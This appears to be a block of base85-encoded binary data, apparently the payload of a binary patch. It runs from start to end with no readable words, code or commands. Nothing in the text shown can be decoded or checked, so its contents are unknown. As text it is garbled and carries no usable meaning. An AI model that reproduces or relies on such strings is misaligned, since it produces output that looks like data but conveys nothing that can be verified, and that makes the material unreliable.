ztqlwdX=`WWPt(Gg*)1XD=o8Et1(E7Ki}G>6^lXhF4G+c%fCv*p)!P=mQ_=E?@KM=+ z3MVqUOu?&ypK?F~s@_TT89duKqYONPO7667S5j9?R5Jsmt=8B>yW*YhKEEBO_QHd; zuCKWgl~QRPfW3u7tsA#FLQpXJxY#4;LZGP3v5(GwS;?QFyI3+JAu^zxdEz1l& z@|2*g_W~@xJgVh^B<95>Crx`#5?+{6MVIK{HDluV;PsQo-?pCJ=?trf^mg%8ilI zqoGaRWq5WO)w>oAkvRXR?&=VU*zxoWch_I$H>zJ<6c$*kw2S_nY_!@QBRRT_pZ!-lqDz)^WpslLCxfhUFH-Bh{~edB>WW;s<*~I$Ih%Lpateyr`K)6; z7kedI4zoG=Qyieam-bUwty9<>9xsUWF7337|Ma-vZ4XH4Ry*o23W?Sxmaiu-@>m)& z<94(kocL|MjDy)~{kbBv?eQanmQ?84!~bH(j(LZe106ka{Lk_Z*vAIPJ3s&z>f;6N z>TOj9P-Par{x+<_Zp1*p>D|q{r=xoJ^3#mkt%@?;@gOmg=sJ8Zdn1;0zgf73Na>e_ zar)@5LRJS*CE15K0i(7QR%rfG3gf&<`?a)JJ*cAg^V7f^siqbmCo~3a9D=c`ubd9p zSV$mY3lge=siT72ET{`XFULQ14twv!o)DihUKEVD#$d&;tsmuzPk=@cfey8p(6@)9 zO-FAb`%-TQXx0CROcT?J7|0gBjl^-_I{YAS7qSnl_)^4+=y0>HgP=z5TE;x)v*dgm znK`ESgdc%KRnvU3#}CiR=cM@fgeYm^M~=pZwtIiZyEM!$ZlSl+#qlFw#_)!y z?G1j2VDxh%;zz!S4V7N?w|hews5v{gj#bSSEl_sC_(M|TFIC|IN6!8RUcpFSQNrGi ze~3O4sU~Q?NX5)u%BGrJQD7v_=d_VK{LuIHC_h}<+LrmB{Dn2eC%sd4v^jTdlPLIv zd-%ji-Z_$NHb@hibF0+$XW170NoG;(WkfRzi_mz7yyGVESZST(CsF5>nt1cBr2uhJ zY7`rq`1*%&9Yd|bex=9Q*(`;Ks^=`8tQvIb!X~%)*0fe{TJ%|Su=KJv?w#;UlFQQL zI460kTYIJ>U0A(s@nEyHEm*M7&r$Hz9k+ahiyoiJmGL9rsEAmIrd%W!RX5{y4TJeIAxQa=?%E_jn!n<2@sn_{b(X)t@fVF+)(jar$35gWf5tULt>cdQ!a4{C$69O_Mt*`4 zMa?Inr|Vk4E0^r+x=$u&`bNiG`W6mVux`J1Cam;o^%!#=Gj^&N7Djd1gJQ$ss_Nzo zsn3|jz1Bp`2q4c7iD)F$F=KqqQeVN+a?Gv@6`d01VHpzc!@V#5-On}YYOR; zjk31Ng??R@+j2w-L=wxd8q{T#C<-Tf05RhahieU*UDeZawT4gV{`C_WEUN^4D@=)K zoV6VQw@AwZ=QO*n;GAj`r{yNR4M+v%G+)BIk{2xEGJjy1=1K5t7&zz5KWfYB z6aU=1yqL8~TN}Kvfb&-xjH1yVR;Khj=4%44|6Hin^5clo92{9PwW+}!_##Ilye(G7 zdRwr6`Ea9lXLG|yp-d8E#+SrsPh$=%oQ%UFHUPF9yXh-hS9mHRPV3%#Mp`#!BmuOJ z>YoEXrpqv%$4;h824eINSHCG+pto7;h-;k(tK{$@X>SDxz}8CUh%#7YnL05giNS&u zPTBTQqu*HS@5clMKvr!|hVBVLG2gJ-S^MFM7?v2PS#7h9I(1e0(lF_K~i5 zimC7cS=%Zhh2$yF9 z-(|F5R!hYFOuE-vu@xM-jaA@pGETuNdRDvR&nnie(vt&~(bAKnRe{Py?q~&6Hb;Br zXYOEi`;sx@VTDntgrnKG42pxQ&#Uw0hCS`!vYoNdgboEN&x}FLrX9cjD7n@7d|9A* zVQziukF2opd8yo}Kb|VY-xcp1(VLH>kB;nvPK@N`19@SA_r5MKdAxM+Vk8tw1rxXV z(w@X(%+R+LXlvWl0>ihzT z`1Kt^#2tt50B)oP6x=ba!HI3(j(BjUI>zJB)Dk5tnQzE>3R|t|phtaeiTx4%SX&DB zDC&gTB7XYIaeaCLjzIuxUD&@4h8;A#moBw#+{}CfY1wld%f(Q8oOPuWGFL)k%HPEH z?m&sD*v>x!WU5RO> z@NMbhOj!H0Qc2T3%_oog3rlh^6FS~4>Np6cx%yUJK{=bjE^=EHG=6pR8jq~>)nlft z#F?YksD+&5h?Q&u3y?Z^~z@93$HXlQ397`a)GljAz<RZ+bQeXgxSS#tBes|F#8~yZfdH{U{G^gKYuK|} zW2Rt#=CbJVm=!cTc?b_Qhrb!t)euhWL@J>(&q8n=iO_16U9BO4IMY3?gsD~dTiLG<+l57;NxuIot#M97GH{641 zob5e&cc5~m)_A}tUgWykAUuwl8a7)gCx?`>wHU`0XM6EIttw$2u=lSyYO}GpPHX&| zq|H3qfy zPtzK<)7?q^*+)dM(i%!s@Fmfo#1GHb8g{C$E2AUghp*KdeCn%KYxrN1q{c%7!(8?# z_m+tM1M3-w_rsK(ti3>~8{QwZcPs2@4*IkjoboyP5_%r2F*jM3AqL|;RDUG-vF1WWHN831!&gwgnnFarYFFwU zYDw5q3DfJ^{n!Em0?^G*LXGcfiBsuU{W+nssd=i4=V_}vq=_HCe#Oi2!#~m*J^&U! ze3RCIVuY8QwT54+mxa-5n)9%1dV}1rx%T>*wYBDGvY07V&897&9 zFJYmE?pv?Qor#bXDc6%TKW++^)}&|X%HdXEdT7um>B(Vpxf*9{*!h|M(i-l8&DXoz za66fwI47NxI49eIsT*ZP=^tIGXR$$Zl4~79-`Ew+ugPFc`dmSgf<*_^&`LHV<-Wp& zIu4rqL4+wsXHf_sETj?u9H@E9(Teht9l5Z5*oLFHd z<{^v@Ey=0n@t&#`9`5`VS$A7{x7;PO&`35)E@jBRo9NbHsPPl6VIU#oFtDz=Tx&fRz8B`Xvoz{Pp{vuQ-bBqOk zuX!jvKz~l+$?Risn01-x&6yzD^R`ioi(%+NyZEBtk{Y_qUEM;a%UR!-VmaZJ{fadY z!s{!CKN|!-TL0fVa*MLp_&tOvvv3p{+Qo$`hfCKmuZShpJsz!;z(2WE;QN0gC1l`r z)e~b>fI$!~0L1(B(F#$dM}k$eO6O>eWGeU)h@K%sEs~Ei#lga} z8|fj0=0sH#f7%iw8BFu62rmoDqNTyIL%<7SLzF974g0=deade=2-+EDXtfHI86FYH zYmTh`8bH$cq9gdtJtk$jH6LIcb*qc~gVBZTD!(ye9s&C_gzQ~14#}D(eVxp1n=AHK z=2%Y#GxH!e$-J})k0;b{lq|ZeOz}yTj`sVlACSEe89VlvYC-xm^(Xd%B#VlT_64oYvYJMTs|_T!Sp zXF>WO%+G`VIDRK`yhfc}t~JJ-JbbAeGnu7oofmiNN_n9N^HMXMpq$inUZh8s%Fi76nI%6) z$o!aw$m@*MNyM?9!#14Z^j=4M>~JvY9J4K0d1*@&hohQx8Kt0MCWV<3<;~5{31j)& z(sGc_sNXD1U+*5!tFOxFRyo4}nP4xP#rV&PWVOZ*alCzjZz&>aP7_lfv9C4l)1KdA z9bs5SO3oeVN#|e}am0Y_jeAx^GB%z5{(1heoSnvmGeV{F1%RYLqqcJbeEe z_pSWzx2O-5Zt0us#;|}T0Z9b0KO8ix!=`0^i~%`X5RNZZ)prj`PeD+jQWbjhU{&xd z_6|#uI5sq1eJaF480%M_I?wuy{%!1DxhF3EtU*zk9P5fmE2YyDCBQ(Ktd? zbg(th`BDPaAT%03oh&W=vsKRIQT+B6T(}E1BC93~ zw?^EqZr$gPj;PpU?m!2bW8EOGmmrSTATv|+>gaIGo80N)|Da1C#2kA-RP#maELCvz zms+E^igV{FxF;pTa zJgaYbiw5Y88>1KK@x$|Fxg)OJ_W;6uyAPnX?9PJkB0BGDGb|xu;Hk|v_Zip&8Y3by?V(= z>uv!HZgJ%4Uy=Mto%)EWA2tW9w-F|cR%?>DXI8grjk3u>4mz3;8 z;-4&q1kJ}(DIvB~Jjs$Ad}L+^@qj#Xjz4^Zs(y(-u=^WHv0{AE*Z@0MiA;e z4C~yHH`L%FW_0BEgp;#pYq+{6hVB3Gb<4hMtQ+*&!waY6zxJ>sNwv-T&O@xIq+p*!EKf!*dAYl>d&Q{csqQAaOE4GPPCw*r z%CA5(G5Smt^3&U0uF6%a2HHKXhUayo>_}K>fVnN49QHkM=2dHxrnGsD&kOP=FU$!w z?vHxfJnY&C71dRiM=#@YTJ~*r+?uB!+S@kGJrN_*b<0Mr8{3$ksUO0b!fS5C1;w+= zbx96`9OR}~+!lx+Bda3h^hWU9u&0{{LD#h0Ztnv>#?%lUR##OXgKMAZ*4KfAF6*2J z#d8CLsF5*tK5m%6)*E)r-`0QI4a*iZg=ntMIe4xP~6jxo31zK$nlRO8$X1eS%d*mgb8ol@pp1 z%ZP8~aMd@W98--v5@3{GmMtV@yA*!>-g#4yVDfx7AgFz}_It*n-4Q!H9oG2oDSp}8 zmgh>JDf`j(Qjegys&ton;)5-NEPOP%Gx?FcCZH>q-HcqH3()EOoo) z>Z`;T=h!u>&+lG0ufYEKvGCtZ9faQ-HdFRC4(qh8@64b)%TH{$<%iA8o<=>H#U~|| zV{{g>FI8M5i)pxEXYDp=x2JtRCpeY6B*ssj-qO~0c0Lq799cxj*ZAE@( z+iiK^Z#&FIZ3xGV9!}3%v4prra*5met;Cn@K|56RF+>-HC$BzI-K3dU!ED|-^^oAq zLRV}MG}3%CSly-7>}7Z#4560*q{)rvqcaq zeS_%Z(pju3Qdm{qhgF;l!vO>MsGuO=7H$x$98v-{?X=#i?!%(-f<-M1loJt_4s4mw zi#>jq^>zkv<_hAJK1s)Nvx|c@nfZb{VEu=6s7&-z=UzPKUsCHE}WYCU%+~*Ssq`ng=VfrpiM9 zwFZ5x6}c<8e)V+kO)cn{|EGmEDw_zrZuTg2oLLXY?W0VxD-od_c`fw-oxoWFO^rOO zr<{R_eDQMG=x83|x+*WWso|)mv%6!>+-~jpNQsXtw4#?o!LCO1T8-7JyE}-?6)hv^ zt|`)KI1s*ybca~RZrf5wFwQ=B2{M_Bt)IZFF%e$nk&zj<*(BUbLUR)avw!pgtT&*x zi2ouM360^>A2H%7f16CZdi^P()v~A2X<>=wBa=82dtq;8DKX15Zdtmxddh`Zy%*om zzm?<5(N^}g^3&c{hN#(6##~zYsng0KArn#IH2{~8BMlpF<@c6i-SxC8IIh~%P5;oQ zQP!4z^_Y^?R!-);NEO6zJ>1?6aXn^T3<1H_S|o0HyC zupmUtbh!0PuO5GI>;-0lCCcgRhIzHHbGS5$nBhDDkprPu1p!iptft{%S* zkW_AN8q3!fYt=-lKy*?VjY`?3u%}J7muq*fA%8_6oTLyb>t~F;(gXZeVAwfF6j(g!SvC%Yp$dR@zEBduNXL#NCgEU^F{n>NhgWEi>zxN(aVl{K$&0_3%j<;MMf+{ zL9l>f*BaD#Wb+(Eo~#&i3l&}*ld;n_yVz=Q^413=*2EmdIYC?N z303SzQp}&vSOj$Ko)?7(20^u8+AH=A*h4|F^R%@>bHzCJ#57qPxB?SEJMH*DZweMfz{(Hw_F%5E z^+9cdsgdNNUgQ8U`cor;G+UuMxVsJ1;wlsKBMi?$g=4b5D6AVyisU7Qq=vzH+Rx;Y zgPLBTXfXt1B0#|}F=TM5iNU^+xKnW%;RuyvaEYX{G0M7(TI>`CF6FB#fl;ds@PaO< zYTE5#bPTDn0NAXJ57aB!7ELBdMf{dFVG&uY)XO4u9p}Jg=9W1#8Ies zj7~qcJq7cF>e4b=g4-c~nQPBDqG%0$zX&4GH+yB~F63q=dB~i-ln!R&LF!AF>;AHh z6?=B~1aXzi42ZB&cJV0MBs58e?0)*3of~S(1%)kJ@1k?1`2NgB7f9Te&Vx_@C;iz}`$qNH@Q98qK_CGm&YC-pSI3St(MnFOBE_Y?T?D`h3Xmg!mCJ+TVgFdKb03VFVK;ssDvJ zg#16uSL!#4QFJhOD~312%xzT*Kp>j0*M0AJbYsM@+KJol8cpl12(NL!D|Id5WsoLO zUMFRV6XyKqe-yrx+f7&tVL4?e#b@;34auImVhUBPTb2Xbq3j zKF*8okMu-C2G1bvOKKOo_}Wih$spB=D`vypBtno?{>RqE?F=FqKSON7KkJ`S#PlE! z$_*!&QE|0b^W(@0h1t_(p3cCp`(4FF-^wO1S@9U-LDm;Za&#&i=XMgOrj1uH;lxPS&4v5F2HOV7tgWO#!hEMs7Wg*(z+83s+s8)IKrOJF^Ithb!@3AhAdy(}D)yyB zvuvOz@`|K4!usMbg35}+8i@`qsh_9%%2Bv~O^(1E> zMf#bobVl@ZM*0!0;9R8@EJ9~g((n8`wTF@g1Py+6{}@LCtAp;|Fsk!o*VR<{VpG_b zvw=#uth-U@IVV9VFSiRFGG)HnF8l+$gGWwjStet`tEWW-sBwlllu(C3vUXwPlfmC8 zxo|Wy8_E)cGW?P9RqH#-MeX6S!@i{)C57+1Oe*e>7E7%F*2P{_G5}xI&!q=Tgr|aybTpnkUhCMH0*FP(X^}Q|yrJBoL>A1ws0BDa3zS z=`!8Kc)6@}ve6!T5Q#|f)FsvsjMbT;{w`VrF-4z=0#R`CUEJgXj(==gix z1fpT+2j5?|o_q-_Q1bxYd@I z#i08KRzIlxc&+hl^|r!2UTZj>*N6#asc4Z}%?aXSE7jEH%aEVBFyFKJ3k2cED|smo zG9L0BTJ$uq;N!~?#oKuH^vIW z_GaC4IFbl8rAuIrODjV;2h)RtF7|?iaz1mCHe=dT0?7{;2pX}FWpi?bew-0(zRqb} zuz_7Y50WqH+Fnxwo$D)xoVox10sbrxDCbw}A`!Ka~uPj{4N8_V*%H)t+j1JX>wsTB&nKn8M> zWgqEF^`+L(GzdYCN;2qhG;=8ht|{t6iQF&^5M|%2-SrX-xYm&4Q{TAz-OD$S>$HZC zSevyw_c`C!uLu$PBYYaDz1H|5p+T^65`+NPJw~eGB(~?K%K6b>xQ=mg5X7FSHGbs9 zvkpp}`hXYchpvowaeHD6mt}W0mCuygYKfrQze*3l&Pfh0Vp^6qS_P^K$qU@l zv}_5S+)pM9eP0`~(?~PF*2YLC!zdXFj@g^7-30ZvG5rAO!IJD8l$o6V>?3c1*;?Z$ z$W^vDt)WneIYnk$(w6I)C#E4O@|gPn8%J}gzqhZrANCfQqykmVq3a3%hZRyL7i7F>Hh3Y&X z_hN+SjozxO9?N3H37P7jPpO&Sdbl@Z!HDI4A?~qfFK7Xs~H=h4#GiV<^1+yKYw*x1Zh~75Jt1QOOpZ_{1SE z^*WN1u9{4tK5_qYs}8VTSI>maK4}1N5|u zS|gr=tX)?pLifbDO{Xo`go*@jwPZ~vN-n>3+I^Jxx2v2+gep&n<%gQzt?_)^7D}T_ z8la!MNo)8O(*;!rp_3=Z=7t*Hi~ayl9sS&G(Mt#mp8NJ@YfvuS?NoOcf-mrKH~x=%0L3hSc= z9_JBU))@M6Y`GV>)6|MRI7H6n!f!|u$jafr@PxWYB~z5!x}Y0Qq_&4O5Lyq_{=yl< z+UQgnzu1uE^h5EUT8%nX~LSV7PLO|qW<3>$su?sZt0pj2>2 z$xBy@#%LMyhL1?;vPf;+KLJ|N?>Jbhtpz$i;Yj<5OYcj$=`kVYgUb#IC64_Nf^~H> z?gG~dVQ0mPi#OcU)FbGDXWlMHZ%wj76zojfc*`1W7%_!e^sPZ_mqs!AR6+Zr`I$^} za$eV8xS4vSZs$j3>lDy0%a8H9Qn@(!rhg7mR)xtl%@3RZWUOvE)8$g`HPZX(s_d?+ z?IF)0r(S;*=PkJ_baJK!TKuCNX_sDoXt_tvc}ss`DK!Y0@2CDNHPN1#*E=~fxUOCF zPHMX{nT76if>`dt9+>&ied&QtNZ9j+piF8P@tlz0DYG2BLJn~7YAb4D2gbBA;W(=I zq7`OxJ43t&yb8K!l}70>mT_?>hxRb&YA#0y!kJg5ID{Fmn99^&d8)n<{)Y8qp>U3A zuL_cdd4R0f&XSxR$Ez8~E1O?exm9#maV3e?FoIEplr=SQ@8YMKfe4BOxj;`&U;W4- zP$Bw#wS3i}dJydA*bE^{H^;skw=1>eANe#|-}j{FsC-!~9d1UbsdWaM2Qy=Lr;(iW zjN$1{Pa?NNSYb|}>?gH^ZO!Kd`f)MV~6$w?fk zooThLqDOxWA2i2lbZciW$T`Q_&s3Hozt;A6+b%V#6)nOhcn*QPbJSF#;RkygPPba0f*j{JgJgQ)$=*-R@$Nk+ofHydqXXIvE!jHQK>f` zsrSi-!i5|^X@;7RPSp~W9-|%-xiXrI$XbZrFzw4OL}Eo>phPFvoYJa@=MyC{rLPrn zDK;pKe?(p7c>L13R2&h>JnuRqneNIqNLIOQN-hn%T8)4;Owqs+G4;0)l}LkoBXz`1 zg;>P!ji!_-dff{5O|i3C8aM>=^wfTON=OL?b0%ndgfQyh#;dqxkNqxPAXG*^cUnb! zDn@~hUm9c6b4{JKbeTBdNd~cEx+N;>dUK?-O6<|tDbjh&qG-@e2P>EFRc^eyGR{gU zUeWN0NG=+_Kdol*K*QIB zo2N1on7AnLFLQq#v>4%QR%uC)ctzp%R=@XuMy7q4IIH_2HwXgsyFW$z)72^X3^=N^ zfuda;12r0AxqjWJUL1|j@yz^<)z&7Ydcb=Pne zV9xdKq8L$G4w|2sGxMmr-yI%cq;;{>VjLZniV+1L+6fql z{qe&&D+=R>J+a~J!wqt<%8918g=eC0gM1xljUrh_>r+YH#fmE`DCJj$g<1_Qc#T!2<7a;MexTcPjX;S@;?Uenl^Qt%6^Xg*VAd!uu4VqUQ5c zR!z1xld_R&ok$HT=^cC!bBr97i?0w{xgVpGaDa-QEZ2g#QU~~v&k^k4sZvSGNTR&t zQZEA|_*^NDUH!F2)mdlr9=*~o9-vAq{EmQ3WRdRch4*JC>po6AqQG;w-I&Lz!V01Y zDIh1Y-BgMK(9e#t&*%@`ew8SB-6*6uNKD(Xzc?MBxM#(|iQ*>N#SfCJWOE8PI;f-N zqGO5hhfIXyI7c-T0p0XYCyrUT7_ePDF9YF%u9s@e&FZcmqTnylBAkOEH1Tdz(388| zan9E{Q%2m`ws+ZX!>ktvG%4AmPKBtqj{WRB_Oqw|XHuWw>c45KXcmd6He&z%E1~5K(GEvLTV&+zSL12rQ{twh`OfinV>Et*!K8 z)mJNsS`(rWKqY{c;5Ddyed1b;wuOL7{@*imp509V>)W^g-~au5{=Ww{GiUCXGiT1s zoH;}1p_5RR%=~Vm%Skk7ksKJ{I!){#=R=K}?$ivm=WRX^g^gw)Q+IDYL zq%aF)xtqOffvH(nQG>O3tDr4GFL$v&L-An>4a$=5_g?JJB(-r@t)^)pNGWK)O{MM) z%F2X87^6bmf29aPiE7;#%zDfZh25{$doE>`15er&vu_kv=(T1UJ_$}Q)*}IX+9B=t z(k+F80sNT+DH-ki(oVIL9dKk2Pk}=lTpQ^6*h|u$NLwyKRsa6pZfgu?>M+JYt$Pg6F^n=g+(~6bkLj@9 zcoL4rn!%zPz#8m&39O+Yc#we5CXr6D2yNI+;>`gaZ>%wm)Lxid_^eKQ@Tb&m9ng1m zMOd#&N?5PTMcP{7zpWXi3#G}&CN|;Z@jiP~klgT^=zJitHc8k!WPm&zuVAE0-6%h; zrwmw$5#}yBFVL^GoS~B9jl=!k8|=Z6B*HqCp2LM=fFEODfr!OeG_>{@_QUD!3?#(j z|0;UEL+Z}>ib4gW9*d+tz!(*IgwIs6gKvr_8;P<&`3lHC$tls{Nvi3YquHD9jveW{ z93)PN;A8wW8qq|U=58Fnm&gJ7BwjFGV9?JM%#6|ok3%lh4|*M*CCW+izx%t~nBn@D z$4qk&ibVW~_cGernA>ST^|w4rv&W>(_&&{YL=Q2W&%$%W9n?HV?H$p;JtW5h2J@~u zssP9-UM#`smIuQ7??JENK;n>EwL$lgFAk~CInxQZJ)bclX;FY26aaeiTTy_g!3c&6 zu-tBX{J5w*I>Tr10%I*q6Fe3Z{d$o6Md$4kfdPZ{pnC@dW5Ea zsEad|2t|nE;jpf0>qT259qo4l1Mvv+vm%*S0G^Cb1nR_kuau8Fl`Inz-@s=FqExS5 zDJ5xkCu36ssz+iq_x)J&V@a%NFNsvqhe4cR;i@{{wF%2H17W(R_x|YvgoWJRYmY(- zCGG}wR{>yq@Kp#OfNLx1pnfypV(^GJH0YkCDR=nV_$E(p$k23GjOFb5gQz5F^@jHN zW;`(nO4EYRo799 z4%X!Vb{#;Zp*!cF*J0>w=cxl^Q%Q$r@Hn_-Z>}TlO>nwHhU3N-glk5wi7WHBn86nh zYsv{b>@nv-Dh2bhcW@ahA75rU;Dx%OJyz4s{Z_0mKxBzmFX(eCtEm!GMPNC8K07o$ z5Wl)?1g53w5c{TTrtH3h1)WRo38996hSN2eLCr2(`D_hUGxF3UOtU zu-enxW@&9IjJZ2Dh?5*&UGNl`H6IRlW30j2xKlr)PDYb}!x;@po7b?3k?MaRNQ_hK z-aWm^HQxc&lBj@?T09NR%-e;vD}APh=JmxyoN_wzPMw0lU99`2c}+vsB_Tx!6e*x_ zYrwwY(wL=X4W1_hVd(7Esxg8{PO=G`88p&=vv1%luVB~@*OIUvU?y$wKII+IGfbwK zzIwe4vVdY|1!bg@$W&Rv>($ z0**&O@b4&`twFNQ3HUSH+wJA z8=y6b1axVltBNiU_Ce4Bw?eYu4a{(KZsDC7v_V*k*y9W<2`fMx5u7tRE`cf|*yd28 z9Iv)=Q6DsAZ}N3$K+F?O^Sd`@Qk#R9nOli+G%bucTn7i5Eu2RC^j9@GUjspdK+qr% zw8@pE?*z#A`l96(YQ+r>NJc@pBM(}eA*1m-tgS#nno)P*>?o`;f!wXik_9Ci}X}6qj;S@#Pv#P}{E67uLAW!iDO}u@^S+*VH z465|{jI%GmYsztkQuxYAboaCqcc6nG_Zc(GYk8pHVjqnYj29Xz)>}|qLNYN_UPTGl z-yZINyvE$UCX6Kd@R)ibM6nMGBT71T{vX0f^6~9qBr!!H2_!q-qks)K#{m{#KpUF1 zaU19|`XP*MedvVorZ@RVa(+w3flHB)XoHqEyjMH`&R8i$G8O_h-x5NBjNnMfXz|Quk+LaHA{J(W~3wgb_=9OdWn7K&S>6{X84f z2Kre_&H$CTpJ}22hI#20?n_0GA;R45KYbP~`$dh!r3^w6p&aZUTy07GWCp~`Ckcf( z$sITW1CJYhc{mui2WJ{aqrWpdG)y}L4v8hgKY_dqaW#E);zC0oU7x@f$_VWjBCud2 zUPR!8eW5u*8B>&mfj(4>(Kg+kIdrDzY{n$%L?$m@j6>!P+b32=6aR zRs1C>3bi>gXgdFc@s69{*c{_K-^URd1q1#1Q8Tb^gf=Qtj_Xkl@V%2r+QmD-U!0MoUj?3a1`e|QK=Uftj^(g{o*1= zpEMvEw(DO?g?OsO<)F>f{QG0rxqy^EGw`Ly>i4i zoMvh4!0q?Oj>WS{T|{XKGT>RZyp26*fDNmMYg$8Ozbo#0Xo?zp@P2`K0yQ;-%bkq{ zPX^`&#kawPY8!$jf4hRPo%qdG~@9Iud!(8EcPJKG=M17vy z%-eFZpt;{&kgxn$v>{R{l9fYE zNbF&-uC~mY4T&sIb)UN+6VlFq7X&*uS|tYheUZB$!@_q#P<0GDsI=9-Ms_@+H_4ps z@-~PDSq$*ip-Z*fxkN`IK|c#njpSXILK-3ZR!_7JaXB7KXmZ1Bhfy__k|Z@1L$&XQ z)1qWTPTIt>llB}?HrmmCHSJU1My@Urn2Ov@Q zRr?F;OO3{_X-s1J?YDrF`@X&L#>LKsxF$A`+nq!pK_bLc;+->us(X z4zbiwLY*-bKa?0@r>j(?D_xFd|E!0vA?B#$xGxDT=~f)bVFg_1?~KF4fgs~%jPfJD zMn*&{{JUO9axv?ZskY|bV7BPm$)lH11?jnidbxleQs_SsQ7Rm{JcVVPBqQOx$4BQq zJe;>NlJ}Ae<`fDw zf9z6Gb8K9MYrgRW`F&FXh_}F-yBNX{F!}_etQOa(NXkLG9l1&Mqn_oE-{|!3md$-J zBuhHQRF5H%i9E@Z+ItgkSkyrQKac<&xQVvaOwYt+biG8ySl2^B$3a^+OQZ((b-e(0 zxOD1$nP$b^v!;ShwdE`{GClK}_WEgB$$5uc8+}PQ`;n!ANF*_VW6ac z@J`xm8!E~J;rndlO^5zTQh=5SD_C;;#Z;dGHOFRzA%!tOLa+iv-$k{5`41`SvjAkr zkLx|p*v#HRre~aETRM#iEqWcC-FeOH@aH~@G0;pP(*`#DTD zXtqO%5OuH~dOxDmCCVegmQx+$TYB5Zw&N@+dWV)BlJ#-SL?9w!v!sU(g5 zK^|0D!^8Ix3XWnnBh9Rmm~2m?qol=YXkpO%98`@ah2D?ezr%JzUXnNtd&`%i-3iuF zKVAAUs6H;-ZlzwvF4qT;qQTubYvXX$w6GbX#1J}YUo%9TOHsf&DWQYVvl;_MXSAI+ ziuBPzAJ9(PxQfD8oyNMyqaYhzL!uI$ga8+s7;D!97cR-cjS{l{56pEuQq zHv!eS5RNMjX(tZRu*DVHgW~G;iXvSuU1z$eE)coj_(?sLGZ^0|CFY^$icjpKOi6!zDyQLjzB?#`>_~cpg52jwI^nNa8Fu6zQ0DI~922 zOZ6~l|D|6&j2Es);(x0iODFWH$F|G=UG=!`g7q+B`()Vw45Q$@IOtMq-KC(Cs?aM_ zrb4wznRR?eFt*G#z6DA}pqu46G(kOfX4-*fDXQhLH(|FjlU~?0>E?Fv%S6L5Y6vWuS+Pt{^Pb!(@H%L>{~fly&f=p)?mB6-h&YE%ADg!-r~VEarP zo(A&%C+8r{2nhj`=|$&2Y%m5E;=aObfw@M_`-<3j9b*ry!DK*dyDJEJT56H9uAAW& zJc%gqHcD58vXQ7H=%mhnV?lEFgcPB-+)R)11pg-QC(l|vHi}!DdCGscWr*UNCLh*W z@c`B#(gjM^=O;li06(r%8glQ8gnU-IgCB)17|!2Tfytj2Kb z_wD_C6SA3?fsKp@IWN*VOEYO?kPHtUHKUKWlS!by4ER7+w8mHbM32^P?a zPzivN?}@r&0EV#Tq%{dwyrGaFE(sj$4o)d4oRT(W1NxLoKnqxz(wlVteNIaDrg>=P zHf)-2L7h;(3+!j(RY=H7YhqvLG|_Ik)Ura~_9R+iVE_iE0yTl?MRfWF5(g13s(T&E zkdOUoB7Et%F`@nZr-aFv>>Zg;5EtM}re)LsNY9i71`7F_uE#KXAt*ycHC-$I9J2w! zfn)YABa)YH4F-t!v04tUzecrm-F+3_aeyE$t)70=+_VUX4||D+5c@Q}$v@8nwW4Sk z>ci|M8!4*YqPb^TGgilVuMa**4xw2x0qjd44J5Feb`eA>R8)}^7Ft+WAvGj)k@kx< z=)Z%!*0W|ny1B2`AIx)~3id+iH+TfrGFlsng;Ox`r&!=ZLD5+sE>uHE5KG=I(gnAe z1PuvIl;e=@01Dk4+43-=H~I6qqA8A>AR0-7fK-0*7bSn={{(F0hzSlFv(D*w5(}a= zjSIHki=sw1>!kL z(RX_AYylojw~`_}9H4y#Jb-TKEvsoHh<%Yq@5XxZuhiVZD{&{wwD}F#ch3?IuWDaI z;E;Ac(a5z}rI?+Z zj8q6(^|Tr>pf87)54Y^c6COiT8*MQKX4KLSA*8Gu=$wS49x@!66HDOey+$i+6a4V) z+7EHeAge6~{!b^=Q#t%EK`}qX1eOayfmTvrM4HIo6Do1FrBuW~e3D4N*^39v%}99= zK;K9iVulQH(nKX__CA6TXq5K=q7i7z;0JhF9ZSaGyJ;^wN;+vI;$j%?#l3`6Chc)i zIA01beyQ~{<7SyQ6ECV}%#4%wZK&3C;S2qSv)~zxlnZo(wR~wf^%go7d)18rL~v$K zGHtGh1^UN9nNMn?mtcz#RVj03PB`hkoOG<^H4S+U#|w1LAP*-{aVK$qntXj97mfU1f5-5I(AmC`_cA88;WAL0 z5y_$hwq68*pG@qrc)iqY%`YP=5ga?6`AxeQQGiD%-V*Zt1$-SOBnRF!KUNz95J)+#{m`_pT&CD!MPB=*O&YcTbKIEwp`+bQG7{m8e$ zaq(z9jcMdLbkl~=24TqikZ%bm^EV}@_RMb%# zu8GhVe=vUZY2+l1&(ec0(4m4O_(viz;Oqi61&3)kNlU`nu_FLo!$KV-H1*~}y&q21 z(*BGkUq%Wy__+M0{t14_yR%N44;RF zA*$u{y4SJ$7{vC9<@3A$VGX{}hIqK>?t}6>oHEqKVZt*KMWM}ayr?-?D7olbh6t+V zAM1?}!t8Pi;Oq5+rBu}o0KpQbs3eVbHkTUC`w)tJrGH&YtoyBuXCp#^c2dB-2&fMwJmfPdUTqH~UZx@T3&*CcSXsI$-(8+{*{qqN^_t7JyzjlWZiH zwwFYYWdLnpCzjM5eNOJ~&PS&-Er=ZDt%3th5>C8C{i=2tvmlP|?2(CynEo(t&m;s} z>hb`G&+kG%KpK1=CkH$o;LwTPb~Ktizr(nb=Q%_Qh<5^bAADgoYd6V5yMK0=15T!I zSuo*&;Uvx?9cRT%tDHd8E-Yu2pqjG7Z`zE(uIzwDlF!ME#UrC_=75?aj&1#IF|bPY zwF9;Gk3qw*EK;$C0e^8wy8`>9*5KR;_TbVa@B@pngu+@0cUQ3-H+`2%e{ychCLb8j zL)w?%T(QCH%^=`Y0i5-wi9H1XFzrntNcll;v|gXX6AR~n;M8j*|Iq7B6sHR)N#mPPQiso@^fhQz3*Q)!!$xBUZ% z-;~@kTwH**(XD3euziag&=cqeGzGoz4QTJ>+Q!Oocl`(Gdw4yBW!r77*zflK6)$zf z_=ezbz4rwE#`^G1?Ojl&45s9uHmQr6)L^&dCSh;nF5Jg|LEJWnYOw?aMx6}aM3R0G zdJ}M|{XcN;r8n1zL$uGZ#T^6j`+cD%V2)`s?J|moX6TqGn3rO=Bre7~M0jxOMki%5 z-wc;|(q*=ENrg+cbeSSupaU-PI_WZ6x@5p*vUC|FU9#aaPP&|Oh?MPcNs%spkuK$M znIv6~N|#!=Tq<2!q)Q!KhDn#lg-fuWy3UdqFCBj(9f==>V-M{fLRmP5q+=~P zqQyx@mAJ#QNIMKds2MWUJQ0;%FicF7E*a7#2`*!$%OvSi2$!YOWrTDof{RnS#FC51 